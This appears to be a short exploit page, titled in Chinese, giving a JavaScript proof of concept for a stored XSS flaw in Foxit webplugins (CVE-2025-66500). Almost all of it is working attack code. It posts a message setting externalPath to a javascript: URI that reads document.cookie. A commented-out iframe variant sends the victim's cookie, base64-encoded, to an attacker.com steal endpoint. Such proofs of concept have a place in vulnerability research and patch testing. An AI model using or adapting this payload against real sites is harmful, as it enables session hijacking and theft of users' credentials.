Foxit webplugins postMessage存储型XSS漏洞 (CVE-2025-66500)

// CVE-2025-66500 PoC - Foxit webplugins Stored XSS via postMessage // This PoC demonstrates how an attacker can exploit the postMessage handler // to execute arbitrary JavaScript by setting externalPath to a javascript: URI const targetOrigin = '*'; // Target origin (vulnerable site) const targetWindow = window.opener || window.parent; // Construct malicious postMessage with externalPath pointing to javascript: URI const maliciousMessage = { externalPath: 'javascript:alert("XSS by CVE-2025-66500 - Cookie theft: " + document.cookie)' }; // Send the malicious postMessage to the vulnerable Foxit webplugins page // This will cause the browser to execute arbitrary JavaScript targetWindow.postMessage(maliciousMessage, targetOrigin); console.log("Malicious postMessage sent to target"); // Alternative: Using iframe to target specific page /* const iframe = document.createElement('iframe'); iframe.src = 'https://webplugins.foxit.com/vulnerable-page'; iframe.onload = function() { iframe.contentWindow.postMessage({ externalPath: 'javascript:fetch("https://attacker.com/steal?c="+btoa(document.cookie))' }, '*'); }; document.body.appendChild(iframe); */